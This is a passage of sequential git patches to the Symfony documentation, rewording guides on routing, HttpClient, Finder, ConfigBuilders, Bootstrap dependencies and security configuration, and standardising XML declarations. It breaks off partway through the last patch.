 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 276fceac5ee..5bbd12252a2 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -88,7 +88,8 @@ Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@defau
 
 .. versionadded:: 5.3
 
-    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms, LightSms, SmsBiuras, and MessageBird integrations were introduced in Symfony 5.3.
+    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms, LightSms, SmsBiuras
+    and MessageBird integrations were introduced in Symfony 5.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From c2956620534f02e99e79f486fac95a1cd8b56854 Mon Sep 17 00:00:00 2001
From: Daniel West <daniel@silverback.is>
Date: Tue, 5 Jan 2021 14:57:37 +0000
Subject: [PATCH 2068/7107] [HttpClient] Clarification on use of base_uri +
 absolute paths

---
 http_client.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 37be3137771..34dab0b8685 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -333,6 +333,10 @@ If you use for example
 as the type and name of an argument, autowiring will inject the ``my_api.client``
 service into your autowired classes.
 
+.. note::
+
+    Pay attention to the trailing slashes in the `base_uri` parameter and prefixed slashes in your path when making a request. The URI will be merged following the rules explained in the [RFC 3986](https://www.ietf.org/rfc/rfc3986.txt) standard. [You can view some examples here](https://symfony.com/doc/current/reference/configuration/framework.html#base-uri)
+
 Making Requests
 ---------------
 

From 9f0893c5d79f20e77da345ee0ed51c153f360215 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Apr 2021 10:35:18 +0200
Subject: [PATCH 2069/7107] Reword

---
 http_client.rst                       | 4 +++-
 reference/configuration/framework.rst | 2 ++
 2 files changed, 5 insertions(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 34dab0b8685..a71d4ab604b 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -335,7 +335,9 @@ service into your autowired classes.
 
 .. note::
 
-    Pay attention to the trailing slashes in the `base_uri` parameter and prefixed slashes in your path when making a request. The URI will be merged following the rules explained in the [RFC 3986](https://www.ietf.org/rfc/rfc3986.txt) standard. [You can view some examples here](https://symfony.com/doc/current/reference/configuration/framework.html#base-uri)
+    Read the :ref:`base_uri option docs <reference-http-client-base-uri>` to
+    learn the rules applied when merging relative URIs into the base URI of the
+    scoped client.
 
 Making Requests
 ---------------
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 63e0ca7ad20..55f68325ac5 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -817,6 +817,8 @@ in the `Microsoft NTLM authentication protocol`_. The value of this option must
 follow the format ``username:password``. This authentication mechanism requires
 using the cURL-based transport.
 
+.. _reference-http-client-base-uri:
+
 base_uri
 ........
 

From 5e91bdb52e03f3112552fe2065eb4961faa1632e Mon Sep 17 00:00:00 2001
From: Tymoteusz Motylewski <t.motylewski@gmail.com>
Date: Wed, 17 Mar 2021 16:11:23 +0100
Subject: [PATCH 2070/7107] Add note about depth 0 in Finder

---
 components/finder.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/components/finder.rst b/components/finder.rst
index 6952685b64f..55579607d51 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -311,6 +311,8 @@ Restrict by a depth range by chaining calls or passing an array::
 
     // same as above
     $finder->depth(['> 2', '< 5']);
+    
+Depth 0 means direct children (files and folders).
 
 Custom Filtering
 ~~~~~~~~~~~~~~~~

From f7d2e9ff002cb6f6591e1e1f4965532fb48e5fbf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Apr 2021 11:03:21 +0200
Subject: [PATCH 2071/7107] Reword

---
 components/finder.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/components/finder.rst b/components/finder.rst
index 55579607d51..0279b967b0a 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -302,6 +302,7 @@ Directory Depth
 By default, the Finder recursively traverses directories. Restrict the depth of
 traversing with :method:`Symfony\\Component\\Finder\\Finder::depth`::
 
+    // this will only consider files/directories which are direct children
     $finder->depth('== 0');
     $finder->depth('< 3');
 
@@ -311,8 +312,6 @@ Restrict by a depth range by chaining calls or passing an array::
 
     // same as above
     $finder->depth(['> 2', '< 5']);
-    
-Depth 0 means direct children (files and folders).
 
 Custom Filtering
 ~~~~~~~~~~~~~~~~

From fd00af8ab7dbf49d9fe52d02efcd26b355b1f82d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Apr 2021 11:26:34 +0200
Subject: [PATCH 2072/7107] Minor tweak

---
 service_container/definitions.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/definitions.rst b/service_container/definitions.rst
index 1107413cf99..160f92c8315 100644
--- a/service_container/definitions.rst
+++ b/service_container/definitions.rst
@@ -90,8 +90,8 @@ fetched from the container::
     // gets a specific argument
     $firstArgument = $definition->getArgument(0);
     
-    // adds a new argument with the name of the argument
-    // $argumentName = the name of the argument in the constructor
+    // adds a new named argument
+    // '$argumentName' = the name of the argument in the constructor, including the '$' symbol
     $definition = $definition->setArgument('$argumentName', $argumentValue);
 
     // adds a new argument

From 6490e83710ec01f9091e05b84f76a70e879399ec Mon Sep 17 00:00:00 2001
From: Chris Maiden <chrispmaiden@gmail.com>
Date: Sat, 13 Mar 2021 15:00:41 +0000
Subject: [PATCH 2073/7107] Remove duplicate step

---
 setup/flex.rst | 16 ++++++----------
 1 file changed, 6 insertions(+), 10 deletions(-)

diff --git a/setup/flex.rst b/setup/flex.rst
index 21c470a1073..7d66cd1e37b 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -117,14 +117,14 @@ manual steps:
    * ``app/Resources/<BundleName>/views/`` -> ``templates/bundles/<BundleName>/``
    * rest of ``app/Resources/`` files -> ``src/Resources/``
 
-#. Move the original PHP source code from ``src/AppBundle/*``, except bundle
+#. Move the original PHP source code files from ``src/AppBundle/*``, except bundle
    specific files (like ``AppBundle.php`` and ``DependencyInjection/``), to
-   ``src/``.
+   ``src/`` and update the namespace of each moved file to be ``App\...`` (advanced
+   IDEs can do this automatically).
 
    In addition to moving the files, update the ``autoload`` and ``autoload-dev``
    values of the ``composer.json`` file as `shown in this example`_ to use
-   ``App\`` and ``App\Tests\`` as the application namespaces (advanced IDEs can
-   do this automatically).
+   ``App\`` and ``App\Tests\`` as the application namespaces.
 
    If you used multiple bundles to organize your code, you must reorganize your
    code into ``src/``. For example, if you had ``src/UserBundle/Controller/DefaultController.php``
@@ -133,6 +133,8 @@ manual steps:
 
 #. Move the public assets, such as images or compiled CSS/JS files, from
    ``src/AppBundle/Resources/public/`` to ``public/`` (e.g. ``public/images/``).
+   
+#. Remove ``src/AppBundle/``.
 
 #. Move the source of the assets (e.g. the SCSS files) to ``assets/`` and use
    :doc:`Webpack Encore </frontend>` to manage and compile them.
@@ -149,12 +151,6 @@ manual steps:
 #. Update the ``bin/console`` script `copying Symfony's bin/console source`_
    and changing anything according to your original console script.
 
-#. Remove ``src/AppBundle/``.
-
-#. Move the original source code from ``src/{App,...}Bundle/`` to ``src/`` and
-   update the namespaces of every PHP file to be ``App\...`` (advanced IDEs can do
-   this automatically).
-
 #. Remove the ``bin/symfony_requirements`` script and if you need a replacement
    for it, use the new `Symfony Requirements Checker`_.
 

From 60f8569b4aa1e91188726fdfa53cce2e927c59b9 Mon Sep 17 00:00:00 2001
From: Dane Powell <git@danepowell.com>
Date: Fri, 5 Mar 2021 09:57:08 -0800
Subject: [PATCH 2074/7107] Command naming conventions

---
 contributing/code/conventions.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/contributing/code/conventions.rst b/contributing/code/conventions.rst
index 0b50de6885f..62bf4217044 100644
--- a/contributing/code/conventions.rst
+++ b/contributing/code/conventions.rst
@@ -234,3 +234,11 @@ of the impacted component:
 This task is mandatory and must be done in the same pull request.
 
 .. _`@-silencing operator`: https://www.php.net/manual/en/language.operators.errorcontrol.php
+
+Naming Commands and Options
+---------------------------
+
+Commands and their options should be named and described using the English
+imperative mood (i.e. 'run' instead of 'runs', 'list' instead of 'lists'). Using
+the imperative mood is concise and consistent with similar command-line
+interfaces (such as Unix man pages).

From 9fcc2b93948a9c0aecaca49e9ba0f7e50c3f81eb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Apr 2021 12:59:49 +0200
Subject: [PATCH 2075/7107] Minor tweak

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index c92fedd05d0..bd90b127950 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1886,7 +1886,7 @@ use the ``generateUrl()`` helper::
     converted when used as extra parameters. So, if you're passing an object (e.g. an Uuid)
     as value of an extra parameter, you need to explictly convert it to a string::
 
-        $this->generateUrl('blog', ['uuid' => (string) $entity->getUuid())]
+        $this->generateUrl('blog', ['uuid' => (string) $entity->getUuid()]);
 
 If your controller does not extend from ``AbstractController``, you'll need to
 :ref:`fetch services in your controller <controller-accessing-services>` and

From b0b8c9512199bc84a3a7fff5877156fe3c36c1bd Mon Sep 17 00:00:00 2001
From: Christian Oellers <2101569+ChristianOellers@users.noreply.github.com>
Date: Sun, 7 Mar 2021 17:47:13 +0100
Subject: [PATCH 2076/7107] Distinct Bootstrap jQuery requirement

Add distinction to jQuery requirement for Bootstrap version 5, which does not require it to be used:
https://getbootstrap.com/docs/5.0/getting-started/javascript/#still-want-to-use-jquery-its-possible
---
 frontend/encore/bootstrap.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst
index fedb5153cac..3a660353fcb 100644
--- a/frontend/encore/bootstrap.rst
+++ b/frontend/encore/bootstrap.rst
@@ -37,7 +37,8 @@ file into ``global.scss``. You can even customize the Bootstrap variables first!
 Importing Bootstrap JavaScript
 ------------------------------
 
-Bootstrap JavaScript requires jQuery and Popper.js, so make sure you have this installed:
+Bootstrap JavaScript requires Popper.js. Prior to Bootstrap 5, jQuery is required too.
+Make sure you have this installed:
 
 .. code-block:: terminal
 

From f408efa5687f7dcf2ed96f992bf4e82a0783db28 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Apr 2021 13:15:10 +0200
Subject: [PATCH 2077/7107] Tweaks

---
 frontend/encore/bootstrap.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst
index 3a660353fcb..5d260bbc21a 100644
--- a/frontend/encore/bootstrap.rst
+++ b/frontend/encore/bootstrap.rst
@@ -37,11 +37,12 @@ file into ``global.scss``. You can even customize the Bootstrap variables first!
 Importing Bootstrap JavaScript
 ------------------------------
 
-Bootstrap JavaScript requires Popper.js. Prior to Bootstrap 5, jQuery is required too.
-Make sure you have this installed:
+First, install the JavaScript dependencies required by the Bootstrap version
+used in your application:
 
 .. code-block:: terminal
 
+    // jQuery is only required in versions prior to Bootstrap 5
     $ yarn add jquery popper.js --dev
 
 Now, require bootstrap from any of your JavaScript files:

From a254b85913dfa3c0efa7e6e5affc742b1bb7e156 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Apr 2021 13:39:02 +0200
Subject: [PATCH 2078/7107] Rewords

---
 validation/translations.rst | 18 ++++++++++--------
 1 file changed, 10 insertions(+), 8 deletions(-)

diff --git a/validation/translations.rst b/validation/translations.rst
index 3edc15dab5e..16df7921327 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -4,17 +4,19 @@
 How to Translate Validation Constraint Messages
 ===============================================
 
-If you're using validation constraints with the Form component, you can translate
-the error messages by creating a translation resource for the
-``validators`` :ref:`domain <translation-resource-locations>`.
+The validation constraints used in forms can translate their error messages by
+creating a translation resource for the ``validators``
+:ref:`translation domain <translation-resource-locations>`.
 
-.. note::
+First of all, install the Symfony translation component (if it's not already
+installed in your application) running the following command:
 
-    In order to translate the error message, you should have installed the
-    symfony/translation component with Composer.
+.. code-block:: terminal
 
-To start, suppose you've created a plain-old-PHP object that you need to
-use somewhere in your application::
+    $ composer require symfony/translation
+
+Suppose you've created a plain-old-PHP object that you need to use somewhere in
+your application::
 
     // src/Entity/Author.php
     namespace App\Entity;

From 088f9c40045700cb8b01458897d910fbb2745934 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 13 Feb 2021 15:43:50 +0100
Subject: [PATCH 2079/7107] [Routing] Adding `exclude` to PHP code sample

---
 routing.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/routing.rst b/routing.rst
index 86defd2bafc..f05704bdd50 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1255,6 +1255,7 @@ the common configuration using options when importing the routes.
                 ->namePrefix('blog_')
                 // these requirements are added to all imported routes
                 ->requirements(['_locale' => 'en|es|fr'])
+                ->exclude('../../src/Controller/{DebugEmailController}.php')
             ;
         };
 

From ee18ef944c903b9cec07d1643830a981f8615281 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Apr 2021 14:57:44 +0200
Subject: [PATCH 2080/7107] Tweaks

---
 routing.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/routing.rst b/routing.rst
index 242e9dcde93..a0617bfb31e 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1199,9 +1199,11 @@ the common configuration using options when importing the routes.
             # these requirements are added to all imported routes
             requirements:
                 _locale: 'en|es|fr'
+
             # An imported route with an empty URL will become "/blog/"
             # Uncomment this option to make that URL "/blog" instead
             # trailing_slash_on_root: false
+
             # you can optionally exclude some files/subdirectories when loading annotations
             # exclude: '../../src/Controller/{DebugEmailController}.php'
 
@@ -1248,13 +1250,18 @@ the common configuration using options when importing the routes.
             $routes->import('../../src/Controller/', 'annotation')
                 // this is added to the beginning of all imported route URLs
                 ->prefix('/blog')
+
                 // An imported route with an empty URL will become "/blog/"
                 // Pass FALSE as the second argument to make that URL "/blog" instead
                 // ->prefix('/blog', false)
+
                 // this is added to the beginning of all imported route names
                 ->namePrefix('blog_')
+
                 // these requirements are added to all imported routes
                 ->requirements(['_locale' => 'en|es|fr'])
+
+                // you can optionally exclude some files/subdirectories when loading annotations
                 ->exclude('../../src/Controller/{DebugEmailController}.php')
             ;
         };

From 74d460ec5b99731e230522f356016fbc2bd7e500 Mon Sep 17 00:00:00 2001
From: Evgeniy Gavrilov <yev.gavrilov@gmail.com>
Date: Mon, 21 Dec 2020 22:40:36 +0300
Subject: [PATCH 2081/7107] Fix possible error code

Pseudo-type `iterable` accepts any `array` or `object` implementing the `Traversable` interface.  Constructor will be crashed when we try to pass array instead of `Traversable` and use `iterator_to_array`.
`iterator_to_array` dont work with arrays.
Then if always passing `Traversable` we could write like this:
```php
public function __construct(Traversable $handlers)
```
or check instance on `Traversable`.
---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 6783ef06d4e..76d4cb9792e 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -798,7 +798,7 @@ array element. For example, to retrieve the ``handler_two`` handler::
     {
         public function __construct(iterable $handlers)
         {
-            $handlers = iterator_to_array($handlers);
+            $handlers = $handlers instanceof \Traversable ? iterator_to_array($handlers) : $handlers;
 
             $handlerTwo = $handlers['handler_two'];
         }

From 5b427af35e0150f388bd02a030a71681757a3c5a Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 2 Apr 2021 12:55:28 +0200
Subject: [PATCH 2082/7107] [Config] Add docs for ConfigBuilders

---
 configuration.rst | 39 +++++++++++++++++++++++++++++++++++++--
 1 file changed, 37 insertions(+), 2 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 5d4354d562b..0de52977451 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -71,8 +71,8 @@ readable. These are the main advantages and disadvantages of each format:
   and validation for it. :doc:`Learn the YAML syntax </components/yaml/yaml_format>`;
 * **XML**:autocompleted/validated by most IDEs and is parsed natively by PHP,
   but sometimes it generates configuration considered too verbose. `Learn the XML syntax`_;
-* **PHP**: very powerful and it allows you to create dynamic configuration, but the
-  resulting configuration is less readable than the other formats.
+* **PHP**: very powerful and it allows you to create dynamic configuration with
+  arrays or a :ref:`ConfigBuilder <config-config-builder>`.
 
 Importing Configuration Files
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -914,6 +914,41 @@ parameters at once by type-hinting any of its constructor arguments with the
         }
     }
 
+.. _config-config-builder:
+
+Using PHP ConfigBuilders
+------------------------
+
+Writing PHP config is sometimes difficult because you end up with large nested arrays
+and you have no help from your favorite IDE. A way to address this is to use "ConfigBuilders".
+They are objects that will help you build these arrays.
+
+.. versionadded:: 5.3
+
+    The "ConfigBuilders" was added in Symfony 5.3 as an :doc:`experimental feature </contributing/code/experimental>`.
+
+The ConfigBuilders are automatically generated in your ``kernel.build_dir`` for
+every bundle. By convention they all live in the namespace ``Symfony\Config``.::
+
+    // config/packages/security.php
+    use Symfony\Config\SecurityConfig;
+
+    return static function (SecurityConfig $security) {
+        $security->firewall('main')
+            ->pattern('^/*')
+            ->lazy(true)
+            ->anonymous();
+
+        $security
+            ->roleHierarchy('ROLE_ADMIN', ['ROLE_USER'])
+            ->roleHierarchy('ROLE_SUPER_ADMIN', ['ROLE_ADMIN', 'ROLE_ALLOWED_TO_SWITCH'])
+            ->accessControl()
+                ->path('^/user')
+                ->role('ROLE_USER');
+
+        $security->accessControl(['path' => '^/admin', 'roles' => 'ROLE_ADMIN']);
+    };
+
 Keep Going!
 -----------
 

From 6a55e20d79ed05c02076563d3da4ebaa58b25627 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Apr 2021 16:00:16 +0200
Subject: [PATCH 2083/7107] Minor tweak

---
 configuration.rst                  | 18 +++++++++++-------
 reference/configuration/kernel.rst |  3 ++-
 2 files changed, 13 insertions(+), 8 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 35b6bc8129f..fbd36889577 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -919,16 +919,20 @@ parameters at once by type-hinting any of its constructor arguments with the
 Using PHP ConfigBuilders
 ------------------------
 
-Writing PHP config is sometimes difficult because you end up with large nested arrays
-and you have no help from your favorite IDE. A way to address this is to use "ConfigBuilders".
-They are objects that will help you build these arrays.
-
 .. versionadded:: 5.3
 
-    The "ConfigBuilders" was added in Symfony 5.3 as an :doc:`experimental feature </contributing/code/experimental>`.
+    The "ConfigBuilders" feature was introduced in Symfony 5.3 as an
+    :doc:`experimental feature </contributing/code/experimental>`.
+
+Writing PHP config is sometimes difficult because you end up with large nested
+arrays and you have no autocompletion help from your favorite IDE. A way to
+address this is to use "ConfigBuilders". They are objects that will help you
+build these arrays.
 
-The ConfigBuilders are automatically generated in your ``kernel.build_dir`` for
-every bundle. By convention they all live in the namespace ``Symfony\Config``.::
+Symfony generates the ConfigBuilder classes automatically in the
+:ref:`kernel build directory <configuration-kernel-build-directory>` for all the
+bundles installed in your application. By convention they all live in the
+namespace ``Symfony\Config``::
 
     // config/packages/security.php
     use Symfony\Config\SecurityConfig;
diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 6e05536e525..10e87ca1a67 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -103,6 +103,8 @@ the :method:`Symfony\\Component\\HttpKernel\\Kernel::getCacheDir` method. To
 change this setting, override the ``getCacheDir()`` method to return the correct
 cache directory.
 
+.. _configuration-kernel-build-directory:
+
 Build Directory
 ~~~~~~~~~~~~~~~
 
@@ -123,7 +125,6 @@ the :method:`Symfony\\Component\\HttpKernel\\Kernel::getBuildDir` method. To
 change this setting, override the ``getBuildDir()`` method to return the correct
 build directory.
 
-
 Log Directory
 ~~~~~~~~~~~~~
 

From 6479f2f2df8473f640ab8537a3c5bd7951846803 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Apr 2021 16:16:07 +0200
Subject: [PATCH 2084/7107] Added the "versionadded" comments

---
 components/security/authentication.rst | 2 ++
 security/user_provider.rst             | 6 ++++++
 2 files changed, 8 insertions(+)

diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index 0b0e2d97f95..18b780b6d84 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -130,6 +130,8 @@ password was valid::
     use Symfony\Component\Security\Core\User\InMemoryUserProvider;
     use Symfony\Component\Security\Core\User\UserChecker;
 
+    // The 'InMemoryUser' class was introduced in Symfony 5.3.
+    // In previous versions it was called 'User'
     $userProvider = new InMemoryUserProvider(
         [
             'admin' => [
diff --git a/security/user_provider.rst b/security/user_provider.rst
index 491eb57e256..5cef2533e12 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -231,6 +231,8 @@ users will encode their passwords:
             # ...
             encoders:
                 # this internal class is used by Symfony to represent in-memory users
+                # (the 'InMemoryUser' class was introduced in Symfony 5.3.
+                # In previous versions it was called 'User')
                 Symfony\Component\Security\Core\User\InMemoryUser: 'auto'
 
     .. code-block:: xml
@@ -249,6 +251,8 @@ users will encode their passwords:
                 <!-- ... -->
 
                 <!-- this internal class is used by Symfony to represent in-memory users -->
+                <!-- (the 'InMemoryUser' class was introduced in Symfony 5.3.
+                     In previous versions it was called 'User') -->
                 <encoder class="Symfony\Component\Security\Core\User\InMemoryUser"
                     algorithm="auto"
                 />
@@ -260,6 +264,8 @@ users will encode their passwords:
         // config/packages/security.php
 
         // this internal class is used by Symfony to represent in-memory users
+        // (the 'InMemoryUser' class was introduced in Symfony 5.3.
+        // In previous versions it was called 'User')
         use Symfony\Component\Security\Core\User\InMemoryUser;
 
         $container->loadFromExtension('security', [

From c975d5d029f1210cdb5810431e07d7e5ce03e7a2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Apr 2021 16:51:11 +0200
Subject: [PATCH 2085/7107] Minor reword

---
 routing.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/routing.rst b/routing.rst
index 1d9e9b08746..0551b44eaf4 100644
--- a/routing.rst
+++ b/routing.rst
@@ -997,10 +997,12 @@ Priority Parameter
 
     The ``priority`` parameter was introduced in Symfony 5.1
 
-Symfony evaluates routes in the order they are defined. So a routing pattern
-that matches many routes might prevent subsequent routes to be matched. In YAML
-and XML you can control the order by moving the routes up or down inside the file.
-For annotations and attributes, there is an optional ``priority`` parameter:
+Symfony evaluates routes in the order they are defined. If the path of a route
+matches many different patterns, it might prevent other routes from being
+matched. In YAML and XML you can move the route definitions up or down in the
+configuration file to control their priority. In routes defined as PHP
+annotations or attributes this is much harder to do, so you can set the
+optional ``priority`` parameter in those routes to control their priority:
 
 .. configuration-block::
 

From 34f121f17ac7be21a1884047fd499f32dd2b695a Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 16 Apr 2021 19:36:22 +0200
Subject: [PATCH 2086/7107] Be consistent how we open XML dom

---
 bundles/configuration.rst                       |  4 ++--
 components/dependency_injection/compilation.rst |  2 +-
 components/dom_crawler.rst                      |  2 +-
 components/serializer.rst                       | 10 +++++-----
 configuration/override_dir_structure.rst        |  4 ++--
 create_framework/unit_testing.rst               |  4 ++--
 doctrine/events.rst                             |  8 ++++----
 doctrine/multiple_entity_managers.rst           |  2 +-
 forms.rst                                       |  2 +-
 reference/configuration/security.rst            |  2 +-
 routing.rst                                     |  4 ++--
 routing/custom_route_loader.rst                 |  2 +-
 security.rst                                    | 14 +++++++-------
 security/access_control.rst                     | 10 +++++-----
 security/access_denied_handler.rst              |  4 ++--
 security/auth_providers.rst                     |  6 +++---
 security/custom_authentication_provider.rst     |  6 +++---
 security/firewall_restriction.rst               |  8 ++++----
 security/force_https.rst                        |  2 +-
 security/form_login.rst                         | 12 ++++++------
 security/form_login_setup.rst                   |  2 +-
 security/guard_authentication.rst               |  6 +++---
 security/impersonating_user.rst                 |  6 +++---
 security/json_login_setup.rst                   |  4 ++--
 security/ldap.rst                               |  8 ++++----
 security/multiple_guard_authenticators.rst      |  4 ++--
 security/named_encoders.rst                     |  2 +-
 security/password_migration.rst                 |  2 +-
 security/user_checkers.rst                      |  2 +-
 security/user_provider.rst                      | 10 +++++-----
 serializer.rst                                  |  2 +-
 service_container/tags.rst                      |  2 +-
 testing/bootstrap.rst                           |  4 ++--
 testing/http_authentication.rst                 |  2 +-
 translation.rst                                 |  2 +-
 translation/debug.rst                           |  4 ++--
 translation/message_format.rst                  | 12 ++++++------
 translation/xliff.rst                           |  2 +-
 validation/translations.rst                     |  2 +-
 39 files changed, 93 insertions(+), 93 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 40eaf331d4f..dac9550a161 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -64,7 +64,7 @@ can add some configuration that looks like this:
     .. code-block:: xml
 
         <!-- config/packages/acme_social.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:acme-social="http://example.org/schema/dic/acme_social"
@@ -416,7 +416,7 @@ Assuming the XSD file is called ``hello-1.0.xsd``, the schema location will be
 .. code-block:: xml
 
     <!-- config/packages/acme_hello.xml -->
-    <?xml version="1.0" ?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <container xmlns="http://symfony.com/schema/dic/services"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xmlns:acme-hello="http://acme_company.com/schema/dic/hello"
diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index 55725be8da0..d7284046b82 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -197,7 +197,7 @@ The XML version of the config would then look like this:
 
 .. code-block:: xml
 
-    <?xml version="1.0" ?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <container xmlns="http://symfony.com/schema/dic/services"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xmlns:acme_demo="http://www.example.com/symfony/schema/"
diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index b1dda3d42f7..93aba242eaf 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -126,7 +126,7 @@ Consider the XML below:
 
 .. code-block:: xml
 
-    <?xml version="1.0" encoding="UTF-8"?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <entry
         xmlns="http://www.w3.org/2005/Atom"
         xmlns:media="http://search.yahoo.com/mrss/"
diff --git a/components/serializer.rst b/components/serializer.rst
index 84c8ecb8a36..783f293e83d 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -331,7 +331,7 @@ Then, create your groups definition:
 
     .. code-block:: xml
 
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
@@ -613,7 +613,7 @@ defines a ``Person`` entity with a ``firstName`` property:
 
     .. code-block:: xml
 
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
@@ -903,7 +903,7 @@ For example, take an object normalized as following::
 
 The ``XmlEncoder`` will encode this object like that::
 
-    <?xml version="1.0"?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <response>
         <foo>1</foo>
         <foo>2</foo>
@@ -1187,7 +1187,7 @@ Here, we set it to 2 for the ``$child`` property:
 
     .. code-block:: xml
 
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
@@ -1505,7 +1505,7 @@ and ``BitBucketCodeRepository`` classes:
 
     .. code-block:: xml
 
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index ece722f6f27..e832daeb030 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -114,7 +114,7 @@ for multiple directories):
     .. code-block:: xml
 
         <!-- config/packages/twig.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
